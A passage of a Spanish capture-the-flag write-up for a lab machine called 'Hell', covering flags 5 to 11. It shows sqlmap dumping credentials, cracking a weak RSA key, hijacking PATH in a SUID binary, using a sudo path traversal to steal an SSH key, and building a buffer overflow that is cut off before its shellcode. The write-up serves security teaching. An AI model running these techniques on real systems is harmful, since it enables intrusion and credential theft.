    ❯ sqlmap --batch --url "http://localhost/admin/index.php?id=1" -dbs
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.7.2#stable}
    |_ -| . [']     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org
    
    [22:45:31] [INFO] resuming back-end DBMS 'mysql'
    [22:45:31] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1' AND 8874=8874 AND 'SWKD'='SWKD
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=1' AND (SELECT 7615 FROM (SELECT(SLEEP(5)))bNvh) AND 'YbjW'='YbjW  
    ---
    [22:45:31] [INFO] the back-end DBMS is MySQL
    web server operating system: Linux Ubuntu 22.04 (jammy)
    web application technology: Apache 2.4.52
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
    [22:45:31] [INFO] fetching database names
    [22:45:31] [INFO] fetching number of databases
    [22:45:31] [INFO] retrieved: 3
    [22:45:31] [INFO] retrieved: information_schema
    [22:45:33] [INFO] retrieved: creds
    [22:45:33] [INFO] retrieved: example
    available databases [3]:
    [*] creds
    [*] example
    [*] information_schema
    

    Ahora indicamos con el parametro -D la base de datos que es creds y usando el parametro -tables podemos dumpear todas las tablas de esta que solo es users

    ❯ sqlmap --batch --url "http://localhost/admin/index.php?id=1" -D creds -tables  
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.7.2#stable}
    |_ -| . [']     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org
    
    [22:46:10] [INFO] resuming back-end DBMS 'mysql'
    [22:46:10] [INFO] testing connection to the target URL
    [22:46:10] [INFO] the back-end DBMS is MySQL
    [22:46:10] [INFO] fetching tables for database: 'creds'
    [22:46:10] [INFO] fetching number of tables for database 'creds'
    [22:46:10] [INFO] retrieved: 1
    [22:46:10] [INFO] retrieved: users
    Database: creds
    [1 table]
    +-------+
    | users |
    +-------+
    

    Indicamos con el parametro -T la tabla users y ahora podemos usar directamente el parametro -dump que nos dumpea las columnas username y password

    ❯ sqlmap --batch --url "http://localhost/admin/index.php?id=1" -D creds -T users -dump  
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.7.2#stable}
    |_ -| . [']     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org
    
    [22:46:31] [INFO] resuming back-end DBMS 'mysql'
    [22:46:31] [INFO] testing connection to the target URL
    [22:46:31] [INFO] fetching columns for table 'users' in database 'creds'
    [22:46:31] [INFO] retrieved: 2
    [22:46:31] [INFO] retrieved: username
    [22:46:32] [INFO] retrieved: password
    [22:46:33] [INFO] fetching entries for table 'users' in database 'creds'
    [22:46:33] [INFO] fetching number of entries for table 'users' in database 'creds'
    [22:46:33] [INFO] retrieved: 3
    [22:46:33] [INFO] retrieved: beltran48
    [22:46:33] [INFO] retrieved: marco
    [22:46:34] [INFO] retrieved: iamoswe2023!
    [22:46:35] [INFO] retrieved: txhaka
    [22:46:35] [INFO] retrieved: superrootpassword
    [22:46:37] [INFO] retrieved: root
    Database: creds
    Table: users
    [3 entries]
    +-------------------+----------+
    | password          | username |
    +-------------------+----------+
    | beltran48         | marco    |
    | iamoswe2023!      | txhaka   |
    | superrootpassword | root     |
    +-------------------+----------+
    

    Después de probar las credenciales logramos iniciar sesión como txhaka en la 172.17.0.3 a través del tunel creado con chisel, ahora podemos leer la quinta flag

    ❯ ssh txhaka@localhost
    txhaka@localhost's password: iamoswe2023!
    txhaka@4b6bbb7b4072:~$ id
    uid=1000(txhaka) gid=1000(txhaka) groups=1000(txhaka)  
    txhaka@4b6bbb7b4072:~$ hostname -I
    172.17.0.3
    txhaka@4b6bbb7b4072:~$ cat flag.txt
    
    █▀ █▀█ █   █   █▄▄ █▀█ █▀█ █   █▀▀ ▄▀█ █▄ █
    ▄█ ▀▀█ █▄▄ █   █▄█ █▄█ █▄█ █▄▄ ██▄ █▀█ █ ▀█
    
    Flag 5: HELL{7H3_B00L34N_15_4150_4_VU1N}
    
    txhaka@4b6bbb7b4072:~$
    


    Flag 6

    HELL{7H3_5QL1_15_7H3_K3Y}


    Entre las credenciales dumpeadas en la sqli podemos ver una contraseña de root, la cual es valida en este contenedor, nos convertimos en root y podemos leer la flag 6

    txhaka@4b6bbb7b4072:~$ su root
    Password: superrootpassword
    root@4b6bbb7b4072:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@4b6bbb7b4072:~# hostname -I
    172.17.0.3
    root@4b6bbb7b4072:~# cat /root/flag.txt
    
    █▀█ █▀█ █▀█ ▀█▀         ▄▀█ █▀▀ ▄▀█ █ █▄ █
    █▀▄ █▄█ █▄█  █  ▄ ▄ ▄   █▀█ █▄█ █▀█ █ █ ▀█
    
    Flag 6: HELL{7H3_5QL1_15_7H3_K3Y}
    
    root@4b6bbb7b4072:~#
    


    Flag 7

    HELL{R54C7F7001_OR_M4NU41?}


    En el directorio de root ademas de la flag encontramos un archivo message.txt, es un mensaje de pascualropi que nos dice que ha dejado sus credenciales ssh en el archivo .enc el cual se desencripta utilizando la clave privada correspondiente

    root@4b6bbb7b4072:~# ls
    creds  flag.txt  message.txt
    root@4b6bbb7b4072:~# cat message.txt
    
    From: pascualropi@hell.h4u
    
    Hi, I have left ssh credentials in the .enc file, remember to decrypt it with your private rsa key :)  
    
    root@4b6bbb7b4072:~#
    

    Dentro del directorio creds encontramos el archivo .enc ademas de un public.crt

    root@4b6bbb7b4072:~/creds# ls  
    creds.enc  public.crt
    root@4b6bbb7b4072:~/creds#
    

    Para descargarlos podemos copiar los archivos a /tmp y como el usuario txhaka usando scp copiarlos a nuestra maquina aprovechando la conexion ssh

    root@4b6bbb7b4072:~/creds# cp * /tmp  
    root@4b6bbb7b4072:~/creds#
    

    ❯ sshpass -p iamoswe2023! scp txhaka@localhost:'/tmp/*' .  
    
    ❯ ls
     creds.enc   public.crt
    

    El archivo public.crt es una clave RSA publica de hecho bastante pequeña la cual en caso de lograr factorizarla podria ayudarnos a obtener la clave privada

    ❯ cat public.crt
    -----BEGIN PUBLIC KEY-----
    MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQGN24SSfsyl/rFafZuCr54a
    BqEpk9fJDFa78Qnk177LTPwWgJPdgY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmB
    jQh7jykg7N4FUC5dkqx4gBw+dfDfytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQop
    lt34bxbXgVvJZUMfBFC6LQKBgQCkzWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl
    2M6sE8sHiedfyQ4Hvro2yfkrMObcEZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw
    2lpm81KVmMIG0oEHy9V8RviVOGRWi2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAML  
    UCV4ew==
    -----END PUBLIC KEY-----
    

    Iniciemos obteniendo sus valores, usando la libreria Crypto podemos abrir nuestra clave y con un sencillo script obtener solo 2 de sus valores que son e y n

    #!/usr/bin/python3
    from Crypto.PublicKey import RSA
    
    file = open("public.crt", "r")
    key = RSA.importKey(file.read())  
    
    e = key.e
    n = key.n
    
    print(f"e: {e}")
    print(f"n: {n}")
    

    ❯ python3 exploit.py
    e: 115728201506489397643589591830500007746878464402967704982363700915688393155096410811047118175765086121588434953079310523301854568599734584654768149408899986656923460781694820228958486051062289463159083249451765181542090541790670495984616833698973258382485825161532243684668955906382399758900023843171772758139  
    n: 279385031788393610858518717453056412444145495766410875686980235557742299199283546857513839333930590575663488845198789276666170586375899922998595095471683002939080133549133889553219070283957020528434872654142950289279547457733798902426768025806617712953244255251183937835355856887579737717734226688732856105517
    

    En este caso la clave es bastante pequeña, hay que tener en cuenta que el valor de n es el resultado de la multiplicacion de 2 numeros primos, si usamos factordb.com logramos factorizar n, los 2 numeros que nos devuelve son definidos como p y q

    p = 13833273097933021985630468334687187177001607666479238521775648656526441488361370235548415506716907370813187548915118647319766004327241150104265530014047083  
    q = 20196596265430451980613413306694721666228452787816468878984356787652099472230934129158246711299695135541067207646281901620878148034692171475252446937792199  
    

    El valor de m se define como el resultado de n menos el resultado de p + q - 1

    m = n - (p + q - 1)  
    

    La variable d se define como el resultado de la función modular multiplicativa inversa de e y m, asi que tambien es necesario definir la función modinv en python

    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)  
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise
        else:
            return x % m
    
    d = modinv(e, m)
    

    Si obtenemos todos estos valores podemos construir y mostrar la clave privada

    key = RSA.construct((n, e, d, p, q))  
    print(key.exportKey().decode())
    

    Nuestro script final seria de la siguiente manera y al ejecutarlo este construye y nos muestra por pantalla la clave privada basandose en los valores conseguidos

    #!/usr/bin/python3
    from Crypto.PublicKey import RSA
    
    file = open("public.crt", "r")
    key = RSA.importKey(file.read())
    
    e = key.e
    n = key.n
    
    p = 13833273097933021985630468334687187177001607666479238521775648656526441488361370235548415506716907370813187548915118647319766004327241150104265530014047083  
    q = 20196596265430451980613413306694721666228452787816468878984356787652099472230934129158246711299695135541067207646281901620878148034692171475252446937792199  
    
    m = n - (p + q - 1)
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise
        else:
            return x % m
    
    d = modinv(e, m)
    
    key = RSA.construct((n, e, d, p, q))
    print(key.exportKey().decode())
    

    ❯ python3 exploit.py
    -----BEGIN RSA PRIVATE KEY-----
    MIICOQIBAAKBgQGN24SSfsyl/rFafZuCr54aBqEpk9fJDFa78Qnk177LTPwWgJPd
    gY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmBjQh7jykg7N4FUC5dkqx4gBw+dfDf
    ytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQoplt34bxbXgVvJZUMfBFC6LQKBgQCk
    zWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl2M6sE8sHiedfyQ4Hvro2yfkrMObc
    EZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw2lpm81KVmMIG0oEHy9V8RviVOGRW
    i2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAMLUCV4ewIgSJiewFB8qwlK2nqa7taz
    d6DQtCKbEwXMl4BUeiJVRkcCQQEIH6FjRIVKckAWdknyGOzk3uO0fTEH9+097y0B
    A5OBHosBfo0agYxd5M06M4sNzodxqnRtfgd7R8C0dsrnBhtrAkEBgZ7n+h78BMxC
    h6yTdJ5rMTFv3a7/hGGcpCucYiadTIxfIR0R1ey8/Oqe4HgwWz9YKZ1re02bL9fn
    cIKouKi+xwIgSJiewFB8qwlK2nqa7tazd6DQtCKbEwXMl4BUeiJVRkcCIEiYnsBQ
    fKsJStp6mu7Ws3eg0LQimxMFzJeAVHoiVUZHAkA3pS0IKm+cCT6r0fObMnPKoxur  
    bzwDyPPczkvzOAyTGsGUfeHhseLHZKVAvqzLbrEdTFo906cZWpLJAIEt8SD9
    -----END RSA PRIVATE KEY-----
    

    Sin embargo esto es opcional ya que con RsaCtfTool obtenemos el mismo resultado de manera automatizada pasandole la clave publica y un ataque de tipo wiener

    ❯ RsaCtfTool --publickey public.crt --private --attack wiener --output private.crt  
    
    [*] Testing key public.crt.
    [*] Performing wiener attack on public.crt.
     25%|██████████▊                                | 154/612 [36628.83it/s]  
    [*] Attack success with wiener method !
    
    Results for public.crt:
    
    Private key :
    -----BEGIN RSA PRIVATE KEY-----
    MIICOQIBAAKBgQGN24SSfsyl/rFafZuCr54aBqEpk9fJDFa78Qnk177LTPwWgJPd
    gY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmBjQh7jykg7N4FUC5dkqx4gBw+dfDf
    ytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQoplt34bxbXgVvJZUMfBFC6LQKBgQCk
    zWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl2M6sE8sHiedfyQ4Hvro2yfkrMObc
    EZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw2lpm81KVmMIG0oEHy9V8RviVOGRW
    i2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAMLUCV4ewIgSJiewFB8qwlK2nqa7taz
    d6DQtCKbEwXMl4BUeiJVRkcCQQEIH6FjRIVKckAWdknyGOzk3uO0fTEH9+097y0B
    A5OBHosBfo0agYxd5M06M4sNzodxqnRtfgd7R8C0dsrnBhtrAkEBgZ7n+h78BMxC
    h6yTdJ5rMTFv3a7/hGGcpCucYiadTIxfIR0R1ey8/Oqe4HgwWz9YKZ1re02bL9fn
    cIKouKi+xwIgSJiewFB8qwlK2nqa7tazd6DQtCKbEwXMl4BUeiJVRkcCIEiYnsBQ
    fKsJStp6mu7Ws3eg0LQimxMFzJeAVHoiVUZHAkA3pS0IKm+cCT6r0fObMnPKoxur
    bzwDyPPczkvzOAyTGsGUfeHhseLHZKVAvqzLbrEdTFo906cZWpLJAIEt8SD9
    -----END RSA PRIVATE KEY-----
    

    Utilizando la clave privada podemos desencriptar el archivo .enc con openssl, al hacerlo nos muestra las credenciales ssh del usuario pascual hacia hell

    ❯ openssl pkeyutl -decrypt -inkey private.crt -in creds.enc  
    
    Credentials for ssh in hell:
    
    Username: pascual
    Password: vulnwhatsapp123!
    

    Al utilizar las credenciales por ssh conseguimos una shell como el usuario pascual en la maquina real, podemos leer la flag 7 que es la user flag para hackmyvm

    ❯ ssh pascual@192.168.100.91
    pascual@192.168.100.91's password: vulnwhatsapp123!
    pascual@hell:~$ id
    uid=1004(pascual) gid=1004(pascual) groups=1004(pascual)  
    pascual@hell:~$ hostname -I
    192.168.100.91 172.17.0.1
    pascual@hell:~$ cat flag.txt
    
    █▀█ ▄▀█ █▀ █▀▀ █ █ ▄▀█ █   █▀█ █▀█ █▀█ █
    █▀▀ █▀█ ▄█ █▄▄ █▄█ █▀█ █▄▄ █▀▄ █▄█ █▀▀ █
    
    Flag 7: HELL{R54C7F7001_OR_M4NU41?}
    
    pascual@hell:~$
    


    Flag 8

    HELL{R3L4T1V3_R0U735_4R3_FUN!}


    En la ruta /var/mail podemos ver un mensaje de eddiedota que nos dice que ha creado un compilado llamado reports que muestra los reportes pasandole un id

    pascual@hell:/var/mail$ ls
    eddie  pascual
    pascual@hell:/var/mail$ cat pascual
    
    From: eddiedota@hell.h4u
    
    I have created a reports binary in /opt/reports/reports with which you can read the reports by passing an identifier as an argument to it  
    
    pascual@hell:/var/mail$
    

    El binario pertenece al usuario eddie y tiene privilegios suid para los usuarios

    pascual@hell:~$ ls -l /opt/reports/reports
    -rwsr-xr-x 1 eddie eddie 16208 Feb 16 00:24 /opt/reports/reports  
    pascual@hell:~$
    

    Al ejecutarlo nos dice que es obligatorio proporcionar un id como argumento, si le pasasamos una cadena de texto que no sea un numero sale del programa

    pascual@hell:~$ /opt/reports/reports
    
    [-] Usage: /opt/reports/reports <id for report>  
    
    pascual@hell:~$
    

    pascual@hell:~$ /opt/reports/reports hola
    
    [-] The input must be an identifier digit  
    
    pascual@hell:~$
    

    Le pasamos algunos numeros y nos muestra diferentes reportes de vulnerabilidades

    pascual@hell:~$ /opt/reports/reports 1
    
    Vulnerability: A Local File Inclusion has been detected in one of our web servers.  
    
    pascual@hell:~$ /opt/reports/reports 2
    
    Vulnerability: SQL Injection has been detected in one of our servers.
    
    pascual@hell:~$ /opt/reports/reports 3
    
    Attention: Please fix this as soon as possible.
    
    pascual@hell:~$
    

    Sin embargo al llegar al 4 dice que el archivo 4 no existe en el directorio

    pascual@hell:~$ /opt/reports/reports 4
    
    cat: /home/eddie/report/4: No such file or directory  
    
    pascual@hell:~$
    

    Para analizarlo lo descargamos con scp aprovechando la conexion ssh de pascual

    ❯ sshpass -p vulnwhatsapp123! scp pascual@192.168.100.91:/opt/reports/reports .  
    

    Al decompilarlo con ida podemos ver el pseudocodigo de la función main en C

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      int i; // [rsp+14h] [rbp-8Ch]
      char *id; // [rsp+18h] [rbp-88h]
      char command[104]; // [rsp+20h] [rbp-80h] BYREF
      unsigned __int64 stack; // [rsp+88h] [rbp-18h]
    
      stack = __readfsqword(0x28u);
      if ( argc <= 1 )
        return printf("\n\x1B[0;37m[\x1B[0;31m-\x1B[0;37m] Usage: %s <id for report>\n\n", *argv);  
      setreuid(1002u, 1002u);
      id = (char *)argv[1];
      for ( i = 0; i < strlen(id); ++i )
      {
        if ( (unsigned int)(id[i] - 48) > 9 )
        {
          printf("\n\x1B[0;37m[\x1B[0;31m-\x1B[0;37m] The input must be an identifier digit\n\n");
          return 1;
        }
      }
      putchar(10);
      sprintf(command, "cat /home/eddie/report/%s", id);
      system(command);
      putchar(10);
      return 0;
    }
    

    Analizando un poco el codigo decompilado inicia haciendo un setresuid pasandole como argumentos 0x3ea que es igual a 1002 que pertenece a el usuario eddie

    setreuid(1002u, 1002u);  
    

    Despues recibe el argumento y almacena en command un comando que es cat a un directorio y el id como archivo, despues ejecuta command con system

    id = (char *)argv[1];
    sprintf(command, "cat /home/eddie/report/%s", id);  
    system(command);
    

    La vulnerabilidad viene de usar el comando cat de forma relativa ya que se puede modificar el path, lo correcto seria usar la ruta absoluta al binario cat

    cat /home/eddie/report/%s
     /usr/bin/cat /home/eddie/report/%s  
    

    Para explotarlo podemos crear un archivo cat que contenga bash, damos permisos de ejecucion y modificamos el path para que tome el directorio actual primero

    pascual@hell:/tmp$ echo bash > cat
    pascual@hell:/tmp$ chmod +x cat
    pascual@hell:/tmp$ export PATH=$PWD:$PATH  
    pascual@hell:/tmp$
    

    Al ejecutar el binario este ejecutara el comando cat y al ser nuestro cat prioritario ejecutara bash que es lo que contiene asi que nos da una bash como eddie

    pascual@hell:/tmp$ /opt/reports/reports 1
    eddie@hell:/tmp$ id
    uid=1002(eddie) gid=1004(pascual) groups=1004(pascual)  
    eddie@hell:/tmp$ hostname -I
    192.168.100.91 172.17.0.1
    eddie@hell:/tmp$
    

    Ahora modificamos de nuevo el path para evitar conflictos al leer archivos y modificamos el home a el directorio home de eddie, podemos leer la flag 8

    eddie@hell:/tmp$ export HOME=/home/eddie PATH=/bin:$PATH  
    eddie@hell:/tmp$ cat ~/flag.txt
    
    █▀▀ █▀▄ █▀▄ █ █▀▀ █▀▄ █▀█ ▀█▀ ▄▀█
    ██▄ █▄▀ █▄▀ █ ██▄ █▄▀ █▄█  █  █▀█
    
    Flag 8: HELL{R3L4T1V3_R0U735_4R3_FUN!}
    
    eddie@hell:/tmp$
    


    Flag 9

    HELL{B14CKH47_H4CK3R_F4C3B00K_WTF?}


    El usuario eddie tambien tiene un mail esta vez de ghost que nos pide recuperar su cuenta hackeada, este nos proporciona la ultima contraseña que recuerda usar

    eddie@hell:/var/mail$ ls
    eddie  pascual
    eddie@hell:/var/mail$ cat eddie
    
    From: ghost@hall.h4u
    
    Hi eddie, can you see my hacked facebook account, I leave you the last password I remember: MySuperSecurePassword123!  
    
    eddie@hell:/var/mail$
    

    Al probarla por ssh el usuario ghost reutiliza la contraseña para su cuenta a nivel de sistema, nos conectamos y podemos simplemente leer la novena flag

    ❯ ssh ghost@192.168.100.91
    ghost@192.168.100.91's password: MySuperSecurePassword123!  
    ghost@hell:~$ id
    uid=1001(ghost) gid=1001(ghost) groups=1001(ghost)
    ghost@hell:~$ hostname -I
    192.168.100.91 172.17.0.1
    ghost@hell:~$ cat flag.txt
    
    █▀█ █▄▄ █▀▀ ▀▄▀ █▀▀ █ █ █▀█ █▀ ▀█▀
    █▄█ █▄█ █▀  █ █ █▄█ █▀█ █▄█ ▄█  █
    
    Flag 9: HELL{B14CKH47_H4CK3R_F4C3B00K_WTF?}
    
    ghost@hell:~$
    


    Flag 10

    HELL{7H3_5UD03R5_15_N07_4_60D_1D34}


    Nos encontramos con un archivo message.txt de gato que nos dice que ha creado un script llmado hex.js en node que convierte una cadena normal en hexadecimal

    ghost@hell:~$ ls
    flag.txt  message.txt
    ghost@hell:~$ cat message.txt
    
    From: gatogamer1155@hell.h4u
    
    Hi ghost, just a heads up I created a script in node.js that converts text to hexadecimal, I'll leave it at my home directory for you to try, it's called hex.js :)  
    
    ghost@hell:~$
    

    Si miramos los privilegios de sudoers vemos que podemos ejecutar con node cualquier archivo despues de /home/gato, esto incluye claramente el script hex.js

    ghost@hell:~$ sudo -l
    [sudo] password for ghost: MySuperSecurePassword123!
    Matching Defaults entries for ghost on hell:
        secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin\:/snap/bin  
    
    User ghost may run the following commands on hell:
        (gato) /usr/bin/node /home/gato/*
    ghost@hell:~$
    

    El script es muy sencillo, recibe una cadena como input y lo convierte en hex

    ghost@hell:~$ sudo -u gato node /home/gato/hex.js  
    
    [*] Enter string: hola
    
    [+] String hexadecimal: 686f6c61
    
    ghost@hell:~$
    

    La vulnerabilidad esta en sudoers ya que podemos poner cualquier cosa despues de /home/gato incluido un path traversal para retroceder a la raiz ../../ asi que creamos un script en js que lea la id_rsa de gato y la deposite en /tmp como key, despues ejecutamos el js con sudo mediante el path traversal y nos crea el archivo

    ghost@hell:/tmp$ cat key.js
    require('child_process').exec('cat ~/.ssh/id_rsa > /tmp/key')
    ghost@hell:/tmp$ sudo -u gato node /home/gato/../../tmp/key.js
    ghost@hell:/tmp$ cat key
    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
    QyNTUxOQAAACCw+d+VqCdToqmkfc8nt736B6Z96UkprX8Q45JvwEYyTAAAAJBWZgw+VmYM
    PgAAAAtzc2gtZWQyNTUxOQAAACCw+d+VqCdToqmkfc8nt736B6Z96UkprX8Q45JvwEYyTA
    AAAEDv2MMFeZn5fppNci2trFZ/08+0z2YqD0OU1zmYWmEUCbD535WoJ1OiqaR9zye3vfoH  
    pn3pSSmtfxDjkm/ARjJMAAAACWdhdG9AaGVsbAECAwQ=
    -----END OPENSSH PRIVATE KEY-----
    ghost@hell:/tmp$
    

    Nos conectamos por ssh como gato utilizando la id_rsa y podemos leer la flag 10

    ❯ ssh gato@192.168.100.91 -i id_rsa
    gato@hell:~$ id
    uid=1000(gato) gid=1000(gato) groups=1000(gato)
    gato@hell:~$ hostname -I
    192.168.100.91 172.17.0.1
    gato@hell:~$ cat flag.txt
    
    █▀▀ ▄▀█ ▀█▀ █▀█ █▀▀ ▄▀█ █▀▄▀█ █▀▀ █▀█ ▄█ ▄█ █▀ █▀
    █▄█ █▀█  █  █▄█ █▄█ █▀█ █ ▀ █ ██▄ █▀▄  █  █ ▄█ ▄█  
    
    Flag 10: HELL{7H3_5UD03R5_15_N07_4_60D_1D34}
    
    gato@hell:~$
    


    Flag 11

    HELL{0V3RF10W_F0R_B3G1NN3R5}


    Si buscamos archivos com permisos suid nos encontramos que destaca strlen, el cual tiene como propietario al usuario root y privilegio suid para los usuarios

    gato@hell:~$ find / -perm -u+s 2>/dev/null  
    /opt/projects/strlen
    /usr/bin/fusermount3
    /usr/bin/chsh
    /usr/bin/newgrp
    /usr/bin/su
    /usr/bin/passwd
    /usr/bin/chfn
    /usr/bin/umount
    /usr/bin/sudo
    /usr/bin/mount
    /usr/bin/gpasswd
    /usr/libexec/polkit-agent-helper-1
    /usr/lib/openssh/ssh-keysign
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/snapd/snap-confine
    gato@hell:~$ ls -l /opt/projects/strlen
    -rwsr-xr-x 1 root root 13064 Feb 15 22:04 /opt/projects/strlen  
    gato@hell:~$
    

    Al ejecutar el binario nos pide una string como argumento, el programa es algo sencillo simplemente muestra la longitud de la string que le pasamos

    gato@hell:~$ /opt/projects/strlen
    
    █▀ ▀█▀ █▀█ █   █▀▀ █▄ █
    ▄█  █  █▀▄ █▄▄ ██▄ █ ▀█
    
    [-] Usage: /opt/projects/strlen <string>
    
    gato@hell:~$ /opt/projects/strlen hola  
    
    █▀ ▀█▀ █▀█ █   █▀▀ █▄ █
    ▄█  █  █▀▄ █▄▄ ██▄ █ ▀█
    
    [*] String: hola
    
    [+] Length: 4
    
    gato@hell:~$
    

    Para analizarlo a detalle podemos descargarlo con scp aprovechando la conexion

    ❯ scp -i id_rsa gato@192.168.100.91:/opt/projects/strlen .  
    

    Al abrirlo con ida podemos ver todo el codigo decompilado en C

    Iniciemos con la función main, esta simplemente comprueba que se le pase un argumento, despues llama a la función overflow pasandole el argumento que recibe, ademas setea el uid a 0 que es el id que pertenece al usuario root

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      puts(banner);
      if ( argc <= 1 )
        return printf("\n\x1B[0;37m[\x1B[0;31m-\x1B[0;37m] Usage: %s \n\n", *argv);  
      setuid(0);
      return overflow(argv[1]);
    }
    

    La vulnerabilidad se encuentra la función overflow ya que define un buffer de 256 bytes y usa la función strcpy con el parametro que es vulnerable a buffer overflow

    char *__fastcall overflow(const char *param_1)
    {
      size_t len; // rax
      char buffer[256]; // [rsp+10h] [rbp-100h] BYREF
    
      printf("\n\x1B[0;37m[\x1B[0;34m*\x1B[0;37m] String: %s\n", param_1);  
      len = strlen(param_1);
      printf("\n\x1B[0;37m[\x1B[0;32m+\x1B[0;37m] Length: %lu\n\n", len);
      return strcpy(buffer, param_1);
    }
    

    Si miramos las protecciones del binario con checksec tiene todas deshabilitadas

    ❯ checksec strlen  
    [*] '/home/kali/strlen'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    

    Será un buffer overflow basico, iniciemos creando un patron de 300 caracteres y correr el programa pasandoselo como argumento, como resultado este corrompe

    ❯ gdb -q strlen
    Reading symbols from strlen...
    (No debugging symbols found in strlen)
    pwndbg> cyclic 300
    aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
    pwndbg> run aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
    Starting program: /home/kali/strlen aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa  
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    
    █▀ ▀█▀ █▀█ █   █▀▀ █▄ █
    ▄█  █  █▀▄ █▄▄ ██▄ █ ▀█
    
    [*] String: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
    
    [+] Length: 300
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000000000401297 in overflow ()
    pwndbg>
    

    Ahora buscamos el offset o bytes necesarios antes de sobreescribir la siguiente direccion de retorno, para ello son necesarios 264 bytes

    pwndbg> x/gx $rsp
    0x7fffffffe418:	0x6261616161616169
    pwndbg> cyclic -l 0x6261616161616169
    Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)  
    Found at offset 264
    pwndbg>
    

    Si miramos instrucciones en el programa que ejecuten un jmp o un call a un registro nos encontramos con 3 direcciones, cualquiera de estas nos serviria ya que apuntan al registro rax que es donde esta el inicio de nuestro input y lo interpreta

    ❯ ropper --file strlen --jmp rax  
    
    JMP Instructions
    ================
    
    0x0000000000401014: call rax;
    0x000000000040112c: jmp rax;
    0x000000000040116e: jmp rax;
    
    3 gadgets found
    

    Nuestro payload sera el siguiente, iniciamos por un shellcode en x64 que ejecute una /bin/sh, despues rellenamos con A's hasta llegar al RIP y hacemos que este apunte a la direccion de la intrucción call rax, esta instruccion interpretara el registro rax donde esta el inicio de nuestro input y ejecutara nuestro shellcode

